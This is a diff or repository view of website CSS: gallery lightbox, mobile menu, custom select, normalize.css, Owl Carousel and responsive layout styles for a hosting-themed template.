background-position: -44px 0;
}
.pswp__button--zoom {
display: none;
background-position: -88px 0;
}
.pswp--zoom-allowed .pswp__button--zoom {
display: block;
}
.pswp--zoomed-in .pswp__button--zoom {
background-position: -132px 0;
}
/* no arrows on touch screens */
.pswp--touch .pswp__button--arrow--left,
.pswp--touch .pswp__button--arrow--right {
visibility: hidden;
}
/*
Arrow buttons hit area
(icon is added to :before pseudo-element)
*/
.pswp__button--arrow--left,
.pswp__button--arrow--right {
background: none;
top: 50%;
margin-top: -50px;
width: 70px;
height: 100px;
position: absolute;
}
.pswp__button--arrow--left {
left: 0;
}
.pswp__button--arrow--right {
right: 0;
}
.pswp__button--arrow--left:before,
.pswp__button--arrow--right:before {
content: '';
top: 35px;
background-color: rgba(0, 0, 0, 0.3);
height: 30px;
width: 32px;
position: absolute;
}
.pswp__button--arrow--left:before {
left: 6px;
background-position: -138px -44px;
}
.pswp__button--arrow--right:before {
right: 6px;
background-position: -94px -44px;
}
/*
2. Share modal/popup and links
*/
.pswp__counter,
.pswp__share-modal {
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
.pswp__share-modal {
display: block;
background: rgba(0, 0, 0, 0.5);
width: 100%;
height: 100%;
top: 0;
left: 0;
padding: 10px;
position: absolute;
z-index: 1600;
opacity: 0;
-webkit-transition: opacity 0.25s ease-out;
transition: opacity 0.25s ease-out;
-webkit-backface-visibility: hidden;
will-change: opacity;
}
.pswp__share-modal--hidden {
display: none;
}
.pswp__share-tooltip {
z-index: 1620;
position: absolute;
background: #FFF;
top: 56px;
border-radius: 2px;
display: block;
width: auto;
right: 44px;
-webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25);
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25);
-webkit-transform: translateY(6px);
-ms-transform: translateY(6px);
transform: translateY(6px);
-webkit-transition: -webkit-transform 0.25s;
transition: transform 0.25s;
-webkit-backface-visibility: hidden;
will-change: transform;
}
.pswp__share-tooltip a {
display: block;
padding: 8px 12px;
color: #000;
text-decoration: none;
font-size: 14px;
line-height: 18px;
}
.pswp__share-tooltip a:hover {
text-decoration: none;
color: #000;
}
.pswp__share-tooltip a:first-child {
/* round corners on the first/last list item */
border-radius: 2px 2px 0 0;
}
.pswp__share-tooltip a:last-child {
border-radius: 0 0 2px 2px;
}
.pswp__share-modal--fade-in {
opacity: 1;
}
.pswp__share-modal--fade-in .pswp__share-tooltip {
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
}
/* increase size of share links on touch devices */
.pswp--touch .pswp__share-tooltip a {
padding: 16px 12px;
}
a.pswp__share--facebook:before {
content: '';
display: block;
width: 0;
height: 0;
position: absolute;
top: -12px;
right: 15px;
border: 6px solid transparent;
border-bottom-color: #FFF;
-webkit-pointer-events: none;
-moz-pointer-events: none;
pointer-events: none;
}
a.pswp__share--facebook:hover {
background: #3E5C9A;
color: #FFF;
}
a.pswp__share--facebook:hover:before {
border-bottom-color: #3E5C9A;
}
a.pswp__share--twitter:hover {
background: #55ACEE;
color: #FFF;
}
a.pswp__share--pinterest:hover {
background: #CCC;
color: #CE272D;
}
a.pswp__share--download:hover {
background: #DDD;
}
/*
3. Index indicator ("1 of X" counter)
*/
.pswp__counter {
position: absolute;
left: 0;
top: 0;
height: 44px;
font-size: 13px;
line-height: 44px;
color: #FFF;
opacity: 0.75;
padding: 0 10px;
}
/*
4. Caption
*/
.pswp__caption {
position: absolute;
left: 0;
bottom: 0;
width: 100%;
min-height: 44px;
}
.pswp__caption small {
font-size: 11px;
color: #BBB;
}
.pswp__caption__center {
text-align: left;
max-width: 420px;
margin: 0 auto;
font-size: 13px;
padding: 10px;
line-height: 20px;
color: #CCC;
}
.pswp__caption--empty {
display: none;
}
/* Fake caption element, used to calculate height of next/prev image */
.pswp__caption--fake {
visibility: hidden;
}
/*
5. Loading indicator (preloader)
You can play with it here - http://codepen.io/dimsemenov/pen/yyBWoR
*/
.pswp__preloader {
width: 44px;
height: 44px;
position: absolute;
top: 0;
left: 50%;
margin-left: -22px;
opacity: 0;
-webkit-transition: opacity 0.25s ease-out;
transition: opacity 0.25s ease-out;
will-change: opacity;
direction: ltr;
}
.pswp__preloader__icn {
width: 20px;
height: 20px;
margin: 12px;
}
.pswp__preloader--active {
opacity: 1;
}
.pswp__preloader--active .pswp__preloader__icn {
/* We use .gif in browsers that don't support CSS animation */
background: url(preloader.gif) 0 0 no-repeat;
}
.pswp--css_animation .pswp__preloader--active {
opacity: 1;
}
.pswp--css_animation .pswp__preloader--active .pswp__preloader__icn {
-webkit-animation: clockwise 500ms linear infinite;
animation: clockwise 500ms linear infinite;
}
.pswp--css_animation .pswp__preloader--active .pswp__preloader__donut {
-webkit-animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite;
animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite;
}
.pswp--css_animation .pswp__preloader__icn {
background: none;
opacity: 0.75;
width: 14px;
height: 14px;
position: absolute;
left: 15px;
top: 15px;
margin: 0;
}
.pswp--css_animation .pswp__preloader__cut {
/*
The idea of animating inner circle is based on Polymer ("material") loading indicator
by Keanu Lee https://blog.keanulee.com/2014/10/20/the-tale-of-three-spinners.html
*/
position: relative;
width: 7px;
height: 14px;
overflow: hidden;
}
.pswp--css_animation .pswp__preloader__donut {
-webkit-box-sizing: border-box;
box-sizing: border-box;
width: 14px;
height: 14px;
border: 2px solid #FFF;
border-radius: 50%;
border-left-color: transparent;
border-bottom-color: transparent;
position: absolute;
top: 0;
left: 0;
background: none;
margin: 0;
}
@media screen and (max-width: 1024px) {
.pswp__preloader {
position: relative;
left: auto;
top: auto;
margin: 0;
float: right;
}
}
@-webkit-keyframes clockwise {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
transform: rotate(360deg);
}
}
@keyframes clockwise {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
transform: rotate(360deg);
}
}
@-webkit-keyframes donut-rotate {
0% {
-webkit-transform: rotate(0);
transform: rotate(0);
}
50% {
-webkit-transform: rotate(-140deg);
transform: rotate(-140deg);
}
100% {
-webkit-transform: rotate(0);
transform: rotate(0);
}
}
@keyframes donut-rotate {
0% {
-webkit-transform: rotate(0);
transform: rotate(0);
}
50% {
-webkit-transform: rotate(-140deg);
transform: rotate(-140deg);
}
100% {
-webkit-transform: rotate(0);
transform: rotate(0);
}
}
/*
6. Additional styles
*/
/* root element of UI */
.pswp__ui {
-webkit-font-smoothing: auto;
visibility: visible;
opacity: 1;
z-index: 1550;
}
/* top black bar with buttons and "1 of X" indicator */
.pswp__top-bar {
position: absolute;
left: 0;
top: 0;
height: 44px;
width: 100%;
}
.pswp__caption,
.pswp__top-bar,
.pswp--has_mouse .pswp__button--arrow--left,
.pswp--has_mouse .pswp__button--arrow--right {
-webkit-backface-visibility: hidden;
will-change: opacity;
-webkit-transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);
transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);
}
/* pswp--has_mouse class is added only when two subsequent mousemove events occur */
.pswp--has_mouse .pswp__button--arrow--left,
.pswp--has_mouse .pswp__button--arrow--right {
visibility: visible;
}
.pswp__top-bar,
.pswp__caption {
background-color: rgba(0, 0, 0, 0.5);
}
/* pswp__ui--fit class is added when main image "fits" between top bar and bottom bar (caption) */
.pswp__ui--fit .pswp__top-bar,
.pswp__ui--fit .pswp__caption {
background-color: rgba(0, 0, 0, 0.3);
}
/* pswp__ui--idle class is added when mouse isn't moving for several seconds (JS option timeToIdle) */
.pswp__ui--idle .pswp__top-bar {
opacity: 0;
}
.pswp__ui--idle .pswp__button--arrow--left,
.pswp__ui--idle .pswp__button--arrow--right {
opacity: 0;
}
/*
pswp__ui--hidden class is added when controls are hidden
e.g. when user taps to toggle visibility of controls
*/
.pswp__ui--hidden .pswp__top-bar,
.pswp__ui--hidden .pswp__caption,
.pswp__ui--hidden .pswp__button--arrow--left,
.pswp__ui--hidden .pswp__button--arrow--right {
/* Force paint & create composition layer for controls. */
opacity: 0.001;
}
/* pswp__ui--one-slide class is added when there is just one item in gallery */
.pswp__ui--one-slide .pswp__button--arrow--left,
.pswp__ui--one-slide .pswp__button--arrow--right,
.pswp__ui--one-slide .pswp__counter {
display: none;
}
.pswp__element--disabled {
display: none !important;
}
.pswp--minimal--dark .pswp__top-bar {
background: none;
}

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,179 @@
/*--------------------------------------------------------------------- File Name: meanmenu.css ---------------------------------------------------------------------*/
a.meanmenu-reveal {
display: none;
}
.mean-container .mean-bar {
background: #308409;
float: left;
min-height: 40px;
padding: 5px 0;
position: relative;
width: 100%;
z-index: 999;
}
.mean-container a.meanmenu-reveal {
color: #fff;
cursor: pointer;
display: block;
font-family: 'Roboto', sans-serif;
font-weight: 400;
height: 22px;
line-height: 22px;
position: absolute;
right: 12px;
text-decoration: none;
top: 12px;
width: 26px;
}
.mean-container a.meanmenu-reveal span {
background: #ffffff none repeat scroll 0 0;
border-radius: 0;
display: block;
height: 4px;
margin-top: 3px;
width: auto;
}
.mean-container a.meanmenu-reveal span:first-child {
margin: 0
}
.mean-container .mean-nav {
background: #ffffff none repeat scroll 0 0;
float: left;
margin-top: 44px;
width: 100%;
}
.mean-container .mean-nav ul {
padding: 0;
margin: 0;
width: 100%;
list-style-type: none;
}
.mean-container .mean-nav ul li {
position: relative;
float: left;
width: 100%;
}
.mean-container .mean-nav ul li a {
border-bottom: 1px solid #ccc;
color: #383838;
display: block;
float: left;
font-size: 12px;
font-weight: 500;
margin: 0;
padding: 1em 5%;
text-align: left;
text-decoration: none;
text-transform: uppercase;
width: 90%;
}
.mean-container .mean-nav ul li a:hover {
color: #38c8a8;
}
.mean-container .mean-nav ul li li a {
width: 80%;
padding: 1em 10%;
border-top: 1px solid #ccc;
border-top: 1px solid #ccc;
opacity: 1;
filter: alpha(opacity=1);
text-shadow: none !important;
visibility: visible;
}
.mean-container .mean-nav ul li.mean-last a {
border-bottom: 1px solid #cccccc;
margin-bottom: 0;
}
.mean-container .mean-nav ul li li li a {
width: 70%;
padding: 1em 15%;
}
.mean-container .mean-nav ul li li li li a {
width: 60%;
padding: 1em 20%;
}
.mean-container .mean-nav ul li li li li li a {
width: 50%;
padding: 1em 25%;
}
.mean-container .mean-nav ul li a:hover {
` background: #252525;
background: rgba(255, 255, 255, 0.1);
}
.mean-container .mean-nav ul li a.mean-expand {
background: rgba(255, 255, 255, 0.1) none repeat scroll 0 0;
border: medium none;
font-weight: 400;
height: 22px;
line-height: 22px;
margin-top: 1px;
padding: 12px 16px;
position: absolute;
right: 0;
text-align: center;
top: -1px;
width: 17px;
z-index: 2;
font-size: 18px !important;
}
.mean-container .mean-nav ul li a.mean-expand:hover {
background: rgba(0, 0, 0, 0.9) none repeat scroll 0 0;
color: #ffffff;
}
.mean-container .mean-push {
float: left;
width: 100%;
padding: 0;
margin: 0;
clear: both;
}
.mean-nav .wrapper {
width: 100%;
padding: 0;
margin: 0;
}
.mean-container .mean-bar,
.mean-container .mean-bar * {
-webkit-box-sizing: content-box;
-moz-box-sizing: content-box;
box-sizing: content-box;
}
.mean-remove {
display: none !important;
}
.mean-nav span {
display: none;
}
.mean-container .mean-nav ul li a.mean-expand:hover,
.mean-container .mean-nav ul li a.mean-expand:focus {
background: #38c8a8;
color: #ffffff;
}
.mean-container .mean-nav ul li a:hover {
color: #308409;
}

View File

@@ -0,0 +1,177 @@
/*---------------------------------------------------------------------
File Name: nice-select.css
---------------------------------------------------------------------*/
.nice-select {
background-color: #f6f6f6;
border-radius: 0;
box-sizing: border-box;
clear: both;
display: block;
float: left;
height: auto;
outline: none;
padding-left: 20px;
padding-right: 35px;
position: relative;
-webkit-transition: all 0.2s ease-in-out;
transition: all 0.2s ease-in-out;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
width: 50%;
cursor: pointer;
font-family: inherit;
font-weight: normal;
line-height: 50px;
text-align: left !important;
white-space: nowrap;
font-weight: 300;
}
.nice-select:after {
border-bottom: 2px solid #999;
border-right: 2px solid #999;
content: '';
display: block;
height: 5px;
margin-top: -4px;
pointer-events: none;
position: absolute;
right: 12px;
top: 50%;
-webkit-transform-origin: 66% 66%;
-ms-transform-origin: 66% 66%;
transform-origin: 66% 66%;
-webkit-transform: rotate(45deg);
-ms-transform: rotate(45deg);
transform: rotate(45deg);
-webkit-transition: all 0.15s ease-in-out;
transition: all 0.15s ease-in-out;
width: 5px;
}
.nice-select.open:after {
-webkit-transform: rotate(-135deg);
-ms-transform: rotate(-135deg);
transform: rotate(-135deg);
}
.nice-select.open .list {
opacity: 1;
pointer-events: auto;
-webkit-transform: scale(1) translateY(0);
-ms-transform: scale(1) translateY(0);
transform: scale(1) translateY(0);
}
.nice-select.disabled {
border-color: #ededed;
color: #999;
pointer-events: none;
}
.nice-select.disabled:after {
border-color: #cccccc;
}
.nice-select.wide {
width: 100%;
}
.nice-select.wide .list {
left: 0 !important;
right: 0 !important;
}
.nice-select.right {
float: right;
}
.nice-select.right .list {
left: auto;
right: 0;
}
.nice-select.small {
font-size: 12px;
height: 36px;
line-height: 34px;
}
.nice-select.small:after {
height: 4px;
width: 4px;
}
.nice-select.small .option {
line-height: 34px;
min-height: 34px;
}
.nice-select .list {
background-color: #fff;
border-radius: 5px;
box-shadow: 0 0 0 1px rgba(68, 68, 68, 0.11);
box-sizing: border-box;
margin-top: 4px;
opacity: 0;
overflow: hidden;
padding: 0;
pointer-events: none;
position: absolute;
top: 100%;
left: 0;
-webkit-transform-origin: 50% 0;
-ms-transform-origin: 50% 0;
transform-origin: 50% 0;
-webkit-transform: scale(0.75) translateY(-21px);
-ms-transform: scale(0.75) translateY(-21px);
transform: scale(0.75) translateY(-21px);
-webkit-transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out;
transition: all 0.2s cubic-bezier(0.5, 0, 0, 1.25), opacity 0.15s ease-out;
z-index: 9;
}
.nice-select .list:hover .option:not(:hover) {
background-color: transparent !important;
}
.nice-select .option {
cursor: pointer;
font-weight: 400;
line-height: 40px;
list-style: none;
min-height: 40px;
outline: none;
padding-left: 18px;
padding-right: 29px;
text-align: left;
-webkit-transition: all 0.2s;
transition: all 0.2s;
}
.nice-select .option:hover,
.nice-select .option.focus,
.nice-select .option.selected.focus {
background-color: #f6f6f6;
}
.nice-select .option.selected {
font-weight: bold;
}
.nice-select .option.disabled {
background-color: transparent;
color: #999;
cursor: default;
}
.no-csspointerevents .nice-select .list {
display: none;
}
.no-csspointerevents .nice-select.open .list {
display: block;
}

View File

@@ -0,0 +1,427 @@
/*! normalize.css v6.0.0 | MIT License | github.com/necolas/normalize.css */
/* Document
========================================================================== */
/**
* 1. Correct the line height in all browsers.
* 2. Prevent adjustments of font size after orientation changes in
* IE on Windows Phone and in iOS.
*/
html {
line-height: 1.15; /* 1 */
-ms-text-size-adjust: 100%; /* 2 */
-webkit-text-size-adjust: 100%; /* 2 */
}
/* Sections
========================================================================== */
/**
* Add the correct display in IE 9-.
*/
article,
aside,
footer,
header,
nav,
section {
display: block;
}
/**
* Correct the font size and margin on `h1` elements within `section` and
* `article` contexts in Chrome, Firefox, and Safari.
*/
h1 {
font-size: 2em;
margin: 0.67em 0;
}
/* Grouping content
========================================================================== */
/**
* Add the correct display in IE 9-.
* 1. Add the correct display in IE.
*/
figcaption,
figure,
main { /* 1 */
display: block;
}
/**
* Add the correct margin in IE 8.
*/
figure {
margin: 1em 40px;
}
/**
* 1. Add the correct box sizing in Firefox.
* 2. Show the overflow in Edge and IE.
*/
hr {
box-sizing: content-box; /* 1 */
height: 0; /* 1 */
overflow: visible; /* 2 */
}
/**
* 1. Correct the inheritance and scaling of font size in all browsers.
* 2. Correct the odd `em` font sizing in all browsers.
*/
pre {
font-family: monospace, monospace; /* 1 */
font-size: 1em; /* 2 */
}
/* Text-level semantics
========================================================================== */
/**
* 1. Remove the gray background on active links in IE 10.
* 2. Remove gaps in links underline in iOS 8+ and Safari 8+.
*/
a {
background-color: transparent; /* 1 */
-webkit-text-decoration-skip: objects; /* 2 */
}
/**
* 1. Remove the bottom border in Chrome 57- and Firefox 39-.
* 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
*/
abbr[title] {
border-bottom: none; /* 1 */
text-decoration: underline; /* 2 */
text-decoration: underline dotted; /* 2 */
}
/**
* Prevent the duplicate application of `bolder` by the next rule in Safari 6.
*/
b,
strong {
font-weight: inherit;
}
/**
* Add the correct font weight in Chrome, Edge, and Safari.
*/
b,
strong {
font-weight: bolder;
}
/**
* 1. Correct the inheritance and scaling of font size in all browsers.
* 2. Correct the odd `em` font sizing in all browsers.
*/
code,
kbd,
samp {
font-family: monospace, monospace; /* 1 */
font-size: 1em; /* 2 */
}
/**
* Add the correct font style in Android 4.3-.
*/
dfn {
font-style: italic;
}
/**
* Add the correct background and color in IE 9-.
*/
mark {
background-color: #ff0;
color: #000;
}
/**
* Add the correct font size in all browsers.
*/
small {
font-size: 80%;
}
/**
* Prevent `sub` and `sup` elements from affecting the line height in
* all browsers.
*/
sub,
sup {
font-size: 75%;
line-height: 0;
position: relative;
vertical-align: baseline;
}
sub {
bottom: -0.25em;
}
sup {
top: -0.5em;
}
/* Embedded content
========================================================================== */
/**
* Add the correct display in IE 9-.
*/
audio,
video {
display: inline-block;
}
/**
* Add the correct display in iOS 4-7.
*/
audio:not([controls]) {
display: none;
height: 0;
}
/**
* Remove the border on images inside links in IE 10-.
*/
img {
border-style: none;
}
/**
* Hide the overflow in IE.
*/
svg:not(:root) {
overflow: hidden;
}
/* Forms
========================================================================== */
/**
* Remove the margin in Firefox and Safari.
*/
button,
input,
optgroup,
select,
textarea {
margin: 0;
}
/**
* Show the overflow in IE.
* 1. Show the overflow in Edge.
*/
button,
input { /* 1 */
overflow: visible;
}
/**
* Remove the inheritance of text transform in Edge, Firefox, and IE.
* 1. Remove the inheritance of text transform in Firefox.
*/
button,
select { /* 1 */
text-transform: none;
}
/**
* 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`
* controls in Android 4.
* 2. Correct the inability to style clickable types in iOS and Safari.
*/
button,
html [type="button"], /* 1 */
[type="reset"],
[type="submit"] {
-webkit-appearance: button; /* 2 */
}
/**
* Remove the inner border and padding in Firefox.
*/
button::-moz-focus-inner,
[type="button"]::-moz-focus-inner,
[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
border-style: none;
padding: 0;
}
/**
* Restore the focus styles unset by the previous rule.
*/
button:-moz-focusring,
[type="button"]:-moz-focusring,
[type="reset"]:-moz-focusring,
[type="submit"]:-moz-focusring {
outline: 1px dotted ButtonText;
}
/**
* 1. Correct the text wrapping in Edge and IE.
* 2. Correct the color inheritance from `fieldset` elements in IE.
* 3. Remove the padding so developers are not caught out when they zero out
* `fieldset` elements in all browsers.
*/
legend {
box-sizing: border-box; /* 1 */
color: inherit; /* 2 */
display: table; /* 1 */
max-width: 100%; /* 1 */
padding: 0; /* 3 */
white-space: normal; /* 1 */
}
/**
* 1. Add the correct display in IE 9-.
* 2. Add the correct vertical alignment in Chrome, Firefox, and Opera.
*/
progress {
display: inline-block; /* 1 */
vertical-align: baseline; /* 2 */
}
/**
* Remove the default vertical scrollbar in IE.
*/
textarea {
overflow: auto;
}
/**
* 1. Add the correct box sizing in IE 10-.
* 2. Remove the padding in IE 10-.
*/
[type="checkbox"],
[type="radio"] {
box-sizing: border-box; /* 1 */
padding: 0; /* 2 */
}
/**
* Correct the cursor style of increment and decrement buttons in Chrome.
*/
[type="number"]::-webkit-inner-spin-button,
[type="number"]::-webkit-outer-spin-button {
height: auto;
}
/**
* 1. Correct the odd appearance in Chrome and Safari.
* 2. Correct the outline style in Safari.
*/
[type="search"] {
-webkit-appearance: textfield; /* 1 */
outline-offset: -2px; /* 2 */
}
/**
* Remove the inner padding and cancel buttons in Chrome and Safari on macOS.
*/
[type="search"]::-webkit-search-cancel-button,
[type="search"]::-webkit-search-decoration {
-webkit-appearance: none;
}
/**
* 1. Correct the inability to style clickable types in iOS and Safari.
* 2. Change font properties to `inherit` in Safari.
*/
::-webkit-file-upload-button {
-webkit-appearance: button; /* 1 */
font: inherit; /* 2 */
}
/* Interactive
========================================================================== */
/*
* Add the correct display in IE 9-.
* 1. Add the correct display in Edge, IE, and Firefox.
*/
details, /* 1 */
menu {
display: block;
}
/*
* Add the correct display in all browsers.
*/
summary {
display: list-item;
}
/* Scripting
========================================================================== */
/**
* Add the correct display in IE 9-.
*/
canvas {
display: inline-block;
}
/**
* Add the correct display in IE.
*/
template {
display: none;
}
/* Hidden
========================================================================== */
/**
* Add the correct display in IE 10-.
*/
[hidden] {
display: none;
}

View File

@@ -0,0 +1,6 @@
/**
* Owl Carousel v2.3.3
* Copyright 2013-2018 David Deutsch
* Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
*/
.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.owl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!important;font:inherit}.owl-carousel.owl-loading{opacity:0;display:block}.owl-carousel.owl-hidden{opacity:0}.owl-carousel.owl-refresh .owl-item{visibility:hidden}.owl-carousel.owl-drag .owl-item{-ms-touch-action:none;touch-action:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel.owl-grab{cursor:move;cursor:grab}.owl-carousel.owl-rtl{direction:rtl}.owl-carousel.owl-rtl .owl-item{float:right}.owl-carousel .animated{animation-duration:1s;animation-fill-mode:both}.owl-carousel .owl-animated-in{z-index:0}.owl-carousel .owl-animated-out{z-index:1}.owl-carousel .fadeOut{animation-name:fadeOut}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{transition:height .5s ease-in-out}.owl-carousel .owl-item .owl-lazy{opacity:0;transition:opacity .4s ease}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-video-play-icon:hover{-ms-transform:scale(1.3,1.3);transform:scale(1.3,1.3)}.owl-carousel .owl-video-playing .owl-video-play-icon,.owl-carousel .owl-video-playing .owl-video-tn{display:none}.owl-carousel .owl-video-tn{opacity:0;height:100%;background-position:center center;background-repeat:no-repeat;background-size:contain;transition:opacity .4s ease}.owl-carousel .owl-video-frame{position:relative;z-index:1;height:100%;width:100%}

View File

@@ -0,0 +1,636 @@
/*--------------------------------------------------------------------- File Name: responsive.css ---------------------------------------------------------------------*/
/*------------------------------------------------------------------- 991px x 768px ---------------------------------------------------------------------*/
@media only screen and (min-width: 768px) and (max-width: 991px) {
.header-search {
padding: 15px 0px;
}
}
/*------------------------------------------------------------------- 767px x 599px ---------------------------------------------------------------------*/
@media only screen and (min-width: 599px) and (max-width: 767px) {
.logo {
text-align: center;
}
.cart-content-right {
padding-bottom: 5px;
}
.mg {
margin: 0px 0px;
}
.menu-area-main {
height: 256px;
overflow-y: auto;
}
.megamenu>.row [class*="col-"] {
padding: 0px;
}
.menu-area-main .megamenu .men-cat {
padding: 0px 15px;
}
.menu-area-main .megamenu .women-cat {
padding: 0px 15px;
}
.menu-area-main .megamenu .el-cat {
padding: 0px 15px;
}
.mean-container .mean-nav ul li a.mean-expand {
height: 19px;
}
.category-box.women-box {
display: none;
}
.cart-box {
display: inline-block;
margin: 0px 30px;
}
.wish-box {
float: none;
margin: 0px 30px;
display: inline-block;
}
.menu-add {
display: none;
}
.category-box {
display: none;
}
.mean-container .mean-nav ul li ol {
padding: 0px;
}
.mean-container .mean-nav ul li a {
padding: 10px 20px;
width: 94.8%;
}
.mean-container .mean-nav ul li li a {
width: 92%;
padding: 1em 4%;
}
.mean-container .mean-nav ul li li li a {
width: 100%;
}
.header-search {
padding: 15px 0px;
}
#collapseFilter.d-md-block {
padding: 30px 0px;
}
}
/*------------------------------------------------------------------- 599px x 280px ---------------------------------------------------------------------*/
@media only screen and (min-width: 280px) and (max-width: 599px) {
.cart-content-right {
padding-bottom: 5px;
}
.megamenu>.row [class*="col-"] {
padding: 0px;
}
.menu-area-main .megamenu .men-cat {
padding: 0px 15px;
}
.menu-area-main .megamenu .women-cat {
padding: 0px 15px;
}
.menu-area-main .megamenu .el-cat {
padding: 0px 15px;
}
.mean-container .mean-nav ul li a {
padding: 1em 4%;
width: 92%;
}
.mean-container .mean-nav ul li li a {
width: 90%;
padding: 1em 5%;
}
.mean-container .sub-full.megamenu-categories ol li a {
padding: 5px 0px;
text-transform: capitalize;
width: 100%;
}
.megamenu .sub-full.megamenu-categories .women-box .banner-up-text a {
width: auto;
border: none;
float: none;
}
.menu-area-main {
height: 45px;
overflow-y: auto;
}
.mean-container .mean-nav ul li a.mean-expand {
top: 0;
}
}
@media (min-width: 992px) and (max-width: 1199px) {
.header_section {
background-size: 100% 100%;
}
.custom_menu li a {
padding: 7px 12px 7px 12px;
margin: 0px 5px;
}
.domain_rate li {
padding: 0px 36px;
}
.hosting_taital {
font-size: 28px;
}
.band_text {
width: 80%;
}
.mail_section_1 {
width: 80%;
}
.footer_main {
width: 70%;
float: right;
}
.social_icon li a {
padding: 10px 15px;
}
#my_slider a.carousel-control-prev {
left: 0px;
top: 190px;
}
#my_slider a.carousel-control-next {
right: 0px;
top: 190px;
}
}
@media (min-width: 768px) and (max-width: 991px) {
.header_section {
background-size: 100% 100%;
}
.navbar-expand-lg {
padding: 15px 0px;
}
.navbar-light .navbar-nav .nav-link {
padding: 10px 0px;
margin: 0 auto;
width: 170px;
text-align: center;
margin-top: 10px;
}
.navbar-brand {
width: auto;
padding: 0px;
}
.navbar {
padding: 10px 0px;
}
.navbar-toggler {
background-color: #fff;
border: 1px solid #fff;
}
.navbar-nav.ml-auto {
display: block;
}
.search_btn {
display: none;
}
.custom_menu{
display: none;
}
.domain_rate li {
padding: 0px 15px;
}
#my_slider a.carousel-control-prev {
left: 0px;
top: 190px;
}
#my_slider a.carousel-control-next {
right: 0px;
top: 190px;
}
.about_box {
padding: 0px 10px 30px 10px;
}
.faster_text {
font-size: 16px;
}
.lorem_text {
width: 100%;
font-size: 14px;
}
.hosting_taital {
font-size: 20px;
}
.hosting_text {
padding: 40px 10px;
font-size: 14px;
}
.cloud_text {
font-size: 17px;
}
.band_text {
width: 100%;
font-size: 14px;
}
.wordpress_text {
font-size: 21px;
}
.opposed_text {
width: 100%;
}
#main_slider a.carousel-control-prev {
left: 0px;
top: 385px;
right: 70px;
}
#main_slider a.carousel-control-next {
right: 0px;
top: 385px;
left: 70px;
color: #8f9091;
}
.location_text li {
font-size: 14px;
color: #ffffff;
padding: 0px 0px 10px 0px;
}
.mail_section_1 {
width: 80%;
}
.footer_main {
width: 100%;
float: right;
}
.social_icon li a {
float: left;
padding: 10px 15px;
}
.footer_menu li a {
font-size: 14px;
}
}
@media (min-width: 576px) and (max-width: 767px) {
.header_section {
background-size: cover;
}
.navbar-expand-lg {
padding: 15px 0px;
}
.navbar-light .navbar-nav .nav-link {
padding: 10px 0px;
margin: 0 auto;
width: 170px;
text-align: center;
margin-top: 10px;
}
.navbar-brand {
width: auto;
padding: 0px;
}
.navbar {
padding: 10px 0px;
}
.navbar-toggler {
background-color: #fff;
border: 1px solid #fff;
}
.navbar-nav.ml-auto {
display: block;
}
.search_btn {
display: none;
}
.custom_menu{
display: none;
}
.banner_taital {
padding-top: 40px;
}
.domain_section {
display: none;
}
.banner_img {
margin-top: 20px;
}
#my_slider a.carousel-control-prev {
left: 0px;
top: 290px;
}
#my_slider a.carousel-control-next {
right: 0px;
top: 290px;
}
.about_box {
box-shadow: 0px 0px 50px 0px #dddddd;
margin-top: 60px;
}
.hosting_section {
background-size: cover;
}
.hosting_taital {
font-size: 30px;
text-align: center;
}
.hosting_text {
font-size: 15px;
}
.hosting_img {
display: block;
margin-top: 30px;
}
.pricing_taital {
font-size: 30px;
}
.pricing_text {
font-size: 14px;
}
